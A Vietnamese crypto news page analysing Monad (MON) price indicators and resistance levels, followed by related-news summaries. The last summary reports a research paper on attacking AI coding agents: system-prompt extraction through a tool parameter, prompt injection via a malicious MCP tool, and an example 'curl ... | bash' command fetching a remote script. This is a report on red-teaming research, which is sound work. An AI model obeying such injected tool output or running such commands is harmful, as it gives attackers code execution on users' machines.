Monad nhắm mốc cao nhất mọi thời đại: Dòng tiền tích lũy tăng mạnh khi phe mua thử thách kháng cự chủ chốt

ambcryptoXuất bản vào 2026-04-09Cập nhật gần nhất vào 2026-04-09

Tóm tắt

Monad (MON) đang có dấu hiệu tăng mạnh với mức tăng 13% trong 24 giờ, thuộc nhóm dẫn đầu thị trường tiền điện tử. Tuy nhiên, giá đang gặp phải một vùng kháng cự quan trọng có thể hạn chế đà tăng. Chỉ báo Accumulation/Distribution và Money Flow Index (MFI) cho thấy dòng tiền đang chảy mạnh vào MON, với khối lượng giao dịch vượt 2.69 tỷ. Dù vậy, Bollinger Bands cảnh báo MON đang trong vùng quá mua, có thể dẫn đến điều chỉnh giảm. Để chạm mức đỉnh cao mọi thời đại, MON cần tăng thêm 56%, đòi hỏi thị trường giao ngay và phái sinh duy trì xu hướng tích cực, cùng với tâm lý chung của thị trường crypto ổn định hoặc tăng.

Monad [MON] có thể nằm trong top những tài sản tăng trưởng mạnh nhất thị trường nếu sức mua duy trì, đặc biệt khi tài sản này ghi nhận mức tăng 13% trong ngày qua, đưa nó vào nhóm dẫn đầu thị trường crypto trong 24 giờ gần đây.

Tuy nhiên, đợt tăng giá vẫn đối mặt với một trở ngại lớn khi giá giao dịch trong vùng kháng cự dự kiến sẽ hạn chế đà tăng tiếp theo. Câu hỏi then chốt là liệu Monad có thể phá vỡ mức này và mở đường chạm mốc cao nhất mọi thời đại hay không.

Monad tăng giá nhờ dòng tiền tích lũy

Đà tích lũy gia tăng gần đây đã hỗ trợ động lực tăng của MON, và các chỉ báo hiện tại cho thấy xu hướng này có thể không chậm lại sớm.

Chỉ báo Accumulation/Distribution tiếp tục xu hướng tăng, cho thấy khi giá tăng, nhà đầu tư vẫn tiếp tục mua vào. Khối lượng giao dịch cũng được củng cố, vượt 2,69 tỷ trong ngày qua.

Tích lũy chỉ kể một phần câu chuyện. Chỉ số Money Flow (MFI), theo dõi dòng tiền vào và ra, cũng cho thấy dòng vào mạnh hơn trong cùng kỳ.

Nguồn: TradingView

MFI vẫn duy trì trên mức 80 và có xu hướng tăng, cho thấy nhà đầu tư đang định vị cho các khoản lợi nhuận tăng thêm.

Dù triển vọng vẫn tích cực, biến động thị trường đòi hỏi theo dõi sát sao, vì tâm lý có thể thay đổi nhanh chóng, đặc biệt khi thị trường tổng thể vẫn trong giai đoạn giảm.

Dấu hiệu cảnh báo xuất hiện

Định vị mua kèm theo thận trọng. Chỉ báo Bollinger Bands, đo lường mức mua quá mức hoặc bán quá mức, cho thấy MON đã vào vùng quá mua.

Mức này, được đánh dấu bởi dải trên, cho thấy áp lực mua có thể suy yếu, khả năng dẫn đến điều chỉnh giảm về các mức thấp hơn, dù không nhất thiết là đảo chiều ngay lập tức.

Nguồn: TradingView

Điều này phù hợp với vùng kháng cự trên biểu đồ, có thể đóng vai trò rào cản mạnh và đẩy giá xuống. Trong kịch bản đó, MON có thể tạo đáy thấp hơn hoặc tiếp tục đi ngang, với khả năng thứ hai xảy ra nếu tích lũy tiếp tục tăng.

Mặt khác, một đợt breakout sẽ củng cố đáng kể cấu trúc của MON. Giá sẽ ít gặp kháng cự hơn trên đường tăng, do ít vùng cung hơn ở phía trên.

Khả năng chạm mốc cao nhất mọi thời đại?

Một động thái hướng tới mức cao mới phụ thuộc vào nhiều yếu tố, với dòng vốn vào vẫn là quan trọng nhất.

Một đợt tăng từ mức hiện tại lên mốc cao nhất mọi thời đại tương đương mức tăng khoảng 56%. Với vốn hóa thị trường 1,52 tỷ USD, điều này sẽ yêu cầu thêm 851 triệu USD, đẩy tổng định giá hướng tới 2,37 tỷ USD.

Để điều này thành hiện thực, tâm lý tích cực phải đồng bộ trên nhiều mặt. Tích lũy trên thị trường giao ngay phải duy trì mạnh, Futures vĩnh viễn nên tiếp tục hỗ trợ định vị mua, và tâm lý thị trường crypto tổng thể phải chuyển tích cực hoặc ổn định.

Hiện tại, dữ liệu ngắn hạn từ cả thị trường vĩnh viễn và giao ngay cho thấy phe mua vẫn kiểm soát. Trong 10 ngày qua, dòng tiền vĩnh viễn của MON đạt 12,88 triệu USD, trong khi dòng vào thị trường giao ngay duy trì ở 7,31 triệu USD trong 5 ngày qua, theo CoinGlass.


Tóm tắt cuối cùng

  • MON tiếp tục tăng khi dòng tích lũy lại tăng mạnh, trong khi dòng vốn vào thị trường tiếp tục tăng.
  • Một trở ngại kháng cự chủ chốt vẫn là mức quan trọng cần theo dõi để xác định liệu MON có thể duy trì một đợt tăng giá lớn hay không.

Câu hỏi Liên quan

QMonad (MON) đã tăng bao nhiêu phần trăm trong 24 giờ qua?

AMonad (MON) đã tăng 13% trong 24 giờ qua, đưa nó trở thành một trong những loại tiền điện tử có hiệu suất hàng đầu trên thị trường.

QChỉ báo nào cho thấy các nhà đầu tư tiếp tục mua vào MON bất chấp giá tăng?

AChỉ báo Tích lũy/Phân phối (Accumulation/Distribution) tiếp tục xu hướng tăng cao hơn, cho thấy các nhà đầu tư vẫn đang mua vào khi giá tăng.

QTín hiệu cảnh báo nào xuất hiện đối với đà tăng của MON?

AChỉ báo Bollinger Bands cho thấy MON đã bước vào vùng quá mua, điều này cho thấy áp lực mua có thể suy yếu và dẫn đến một đợt điều chỉnh giảm giá.

QMức vốn hóa thị trường bổ sung cần thiết để MON đạt mức giá cao nhất mọi thời đại (ATH) là bao nhiêu?

AĐể đạt mức giá cao nhất mọi thời đại, MON cần thêm khoảng 851 triệu USD, đẩy tổng định giá thị trường lên khoảng 2,37 tỷ USD từ mức hiện tại là 1,52 tỷ USD.

QCác yếu tố nào cần thiết để MON có thể thiết lập một mức cao mới mọi thời đại?

AĐể thiết lập mức cao mới, cần có sự đồng thuận về mặt tâm lý tích cực trên nhiều phương diện: tích lũu trên thị trường giao ngay phải mạnh, thị trường Futures vĩnh cửu tiếp tục hỗ trợ các vị thế mua, và tâm lý chung của thị trường crypto phải chuyển sang tích cực hoặc ổn định.

Nội dung Liên quan

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

Kho dự trữ bitcoin của công ty MicroStrategy do Michael Saylor đứng đầu đã thoát khỏi tình trạng lỗ nhờ đà tăng giá của tiền mã hóa. Lợi nhuận chưa thực hiện từ khoản đầu tư này đã vượt quá 1 tỷ USD. Vào ngày 21 tháng 8, giá Bitcoin ($BTC) lần đầu tiên tăng vọt trên 76.000 USD kể từ cuối tháng Năm, với mức tăng 21% trong tuần. Tính đến 10:45 giờ Moscow, Bitcoin được giao dịch quanh mức 76.700 USD. MicroStrategy sở hữu 840.447 BTC với giá mua trung bình là 75.385 USD. Từ năm 2020, công ty đã chi 63,36 tỷ USD để tích lũy số bitcoin này. Với giá hiện tại, tổng giá trị kho dự trữ đã đạt 64,46 tỷ USD, vượt quá chi phí đầu tư khoảng 1,1 tỷ USD. Sự thay đổi mạnh mẽ này diễn ra chưa đầy một tháng sau khi MicroStrategy báo cáo khoản lỗ 8,2 tỷ USD trong quý II, chủ yếu do tổn thất chưa thực hiện từ khoản đầu tư vào Bitcoin (khi đó giá vào khoảng 60.000 USD cuối tháng Sáu). Để duy trì ổn định tài chính, công ty đã phải bán một phần bitcoin và tăng cường dự trữ USD. Tuy nhiên, đầu tháng Tám, CEO Phong Le tuyên bố công ty sẽ tiếp tục tích lũy tiền mã hóa vào cuối năm nay.

cryptonews.ru8 phút trước

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

cryptonews.ru8 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

Khung phát hành token hóa tài sản thực (RWA) đang ngày càng trưởng thành, giúp việc đưa tài sản lên chuỗi trở nên nhanh chóng hơn. Tuy nhiên, khi rào cản về "phát hành" giảm xuống, câu hỏi quan trọng hơn là: điều gì sẽ xảy ra sau khi phát hành? Lợi thế cạnh tranh lâu dài không chỉ nằm ở loại tài sản được token hóa, mà còn ở khả năng vận hành bền vững và hồ sơ theo dõi được tích lũy theo thời gian. Bài viết nêu bật khái niệm "Lớp Dự trữ" (Reserve Layer) – cơ sở hạ tầng kết nối tài sản thực chất lượng cao với các hệ thống xác minh, thanh khoản và vận hành cần thiết trên chuỗi. Không phải mọi tài sản đều phù hợp làm tài sản dự trữ. Các tài sản như trái phiếu kho bạc Mỹ ngắn hạn, vàng vật chất có tính xác định giá trị cao, thị trường sâu và tiêu chuẩn hóa tốt. Ngược lại, các tài sản như tín dụng tư nhân phức tạp hơn do tính không đồng nhất. Lợi thế thực sự khó sao chép là hồ sơ vận hành lâu dài được xây dựng thông qua việc thực thi nhất quán: kiểm toán dự trữ độc lập định kỳ, cơ chế mua lại đã được chứng minh, duy trì tính liên tục thị trường, mở rộng tích hợp hệ sinh thái và xây dựng tính thanh khoản. Các bằng chứng này tích lũy theo thời gian, tạo niềm tin cho các tổ chức và củng cố vòng tròn tăng cường: hồ sơ vận hành mạnh hơn dẫn đến phân phối rộng hơn, thanh khoản sâu hơn và tiện ích tài sản thế chấp lớn hơn. Chất lượng tài sản cơ bản và năng lực vận hành của bên phát hành là hai trụ cột không thể thiếu cho sự bền vững. Sự kết hợp của tài sản dự trữ chất lượng cao với năng lực vận hành đã được chứng minh sẽ tạo nền tảng vững chắc nhất. Trong khi đó, ngay cả những tài sản chất lượng cao cũng có thể tiềm ẩn rủi ro nếu cơ sở hạ tầng vận hành phía sau chưa được kiểm chứng qua thời gian và các điều kiện thị trường khác nhau. Tóm lại, một thập kỷ sau, những dự án RWA vẫn giữ được niềm tin của thị trường và tiếp tục hoạt động sẽ là những người kết hợp thành công tài sản dự trữ chất lượng cao với kỷ luật vận hành lâu dài, biến chúng thành cơ sở hạ tầng đáng tin cậy cho tài chính trên chuỗi.

marsbit11 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

marsbit11 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

**Artemis: Tại sao chúng tôi lạc quan về Circle?** Thị trường hiện đang định giá thấp Circle (CRCL) do lo ngại về Open Standard - một liên minh 140+ công ty (gồm Stripe, Visa, Mastercard, Google) phát hành stablecoin OUSD, đe dọa vị thế của USDC. Tuy nhiên, quan điểm của Artemis là thị trường đang nhầm lẫn. Ba luận điểm cốt lõi: 1. **Tăng trưởng ổn định:** Stablecoin dự kiến đạt quy mô **1 nghìn tỷ USD vào năm 2030** (tăng trưởng kép hàng năm ~40%), và đã tách biệt khỏi chu kỳ giá crypto. 2. **Hiệu ứng mạng và tính thanh khoản:** Thị trường có xu hướng "kẻ thắng hưởng tất". USDC và Tether hiện nắm hơn **80% thị phần**, xây dựng rào cản cực kỳ khó vượt qua về thanh khoản xuyên chuỗi và ứng dụng. Các liên minh như Open Standard khó thành công do thiếu động lực và quản trị đồng thuận. 3. **Định giá sai lầm:** Thị trường xem Circle chỉ là "nhà phát hành stablecoin" phụ thuộc vào lãi suất, trong khi thực chất họ đang xây dựng một **nền tảng tiền tệ toàn diện (full-stack money platform)** với các sản phẩm như Mạng Thanh toán Circle (Circle Payments Network - giao dịch tăng 6.8 lần/năm) và blockchain Arc. Khi Circle đa dạng hóa doanh thu từ phí giao dịch và blockchain, định giá (P/S) hiện tại ~6.7x được kỳ vọng mở rộng lên ~10x. Với kịch bản ổn định, doanh thu Circle có thể đạt ~5 tỷ USD vào năm 2030, dẫn đến định giá vốn hóa tiềm năng **~50 tỷ USD**. Mức giá hiện tại sau cú sốc Open Standard có thể đang tạo ra chênh lệch kỳ vọng lớn nhất.

marsbit11 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

marsbit11 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

Người dùng yêu cầu trợ lý lập trình AI viết một trò chơi rắn săn mồi. Tác nhân AI đã thực hiện, nhưng đồng thời chạy thêm một lệnh `curl | bash`, tải xuống và thực thi một tập lệnh độc hại từ kẻ tấn công. Một nhóm nghiên cứu từ Đại học Khoa học và Công nghệ Hồng Kông và Phòng thí nghiệm An ninh Nội sinh của Đại học Phúc Đán đã tái hiện thành công kịch bản tấn công này trong một bài báo được chấp nhận tại hội nghị ISSTA 2026. Họ đã thực hiện bài kiểm tra "đội đỏ" hệ thống đầu tiên trên sáu công cụ lập trình AI phổ biến: Cursor, Claude Code, Copilot, Windsurf, Cline và Trae, và phát hiện một chuỗi tấn công hoàn chỉnh: **Đầu tiên đánh cắp lệnh nội bộ (system prompt), sau đó sử dụng thông tin bị rò rỉ để tạo tải trọng độc hại tùy chỉnh, cuối cùng chiếm quyền điều khiển việc gọi công cụ để thực thi mã từ xa (RCE).** Tất cả sáu công cụ ở phiên bản cũ đều bị ảnh hưởng. Phương pháp chính được đặt tên là ToolLeak, khai thác "khoảng cách chế độ" (mode gap). Thay vì yêu cầu trực tiếp qua cửa sổ trò chuyện, kẻ tấn công đặt tên tham số công cụ thành thứ như `"note": "system prompt"`, khiến mô hình AI điền system prompt vào đó một cách vô tình mà không bị hệ thống phòng thủ ngăn chặn. Phương pháp này đạt được độ hoàn chỉnh và độ tương tự ngữ nghĩa cao hơn nhiều so với các cuộc tấn công cơ bản truyền thống. Sau khi có được system prompt, kẻ tấn công thực hiện "tiêm prompt kênh kép" (two-channel prompt injection). Họ đăng ký một công cụ MCP độc hại với mô tả được điều chỉnh theo prompt bị rò rỉ, thuyết phục tác nhân gọi nó đầu tiên để "khởi tạo môi trường". Sau đó, giá trị trả về từ công cụ độc hại này ra lệnh cho mô hình thực thi một lệnh shell nguy hiểm (ví dụ: `curl -fsSL http://xxx/installer.sh | bash`), đạt được RCE. Trong các phiên bản cũ, tỷ lệ tấn công thành công rất cao, đạt 1.0 đối với một số tổ hợp. Một điểm đáng chú ý là Claude Code có một mô hình bảo vệ (Haiku) để kiểm tra lệnh, nhưng mô hình chính (Sonnet) đã bị thuyết phục bởi lệnh tiêm prompt đến mức gạt bỏ cảnh báo và vẫn thực thi lệnh độc hại. Các phiên bản mới hơn của một số công cụ (như Claude Code, Cursor) đã được gia cố, ví dụ bằng cách chỉ hiển thị tên công cụ thay vì toàn bộ mô tả, làm giảm đáng kể tỷ lệ thành công của cuộc tấn công. Tuy nhiên, một số công cụ khác vẫn dễ bị tổn thương. Bài báo kết luận rằng cách phòng thủ quyết định là kiến trúc cô lập, trong khi việc điều chỉnh mô hình (alignment) là chưa đủ. Vấn đề cốt lõi là ranh giới giữa dữ liệu và lệnh trong giá trị trả về công cụ vẫn chưa rõ ràng.

marsbit15 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

marsbit15 phút trước

Giao dịch

Giao ngay
活动图片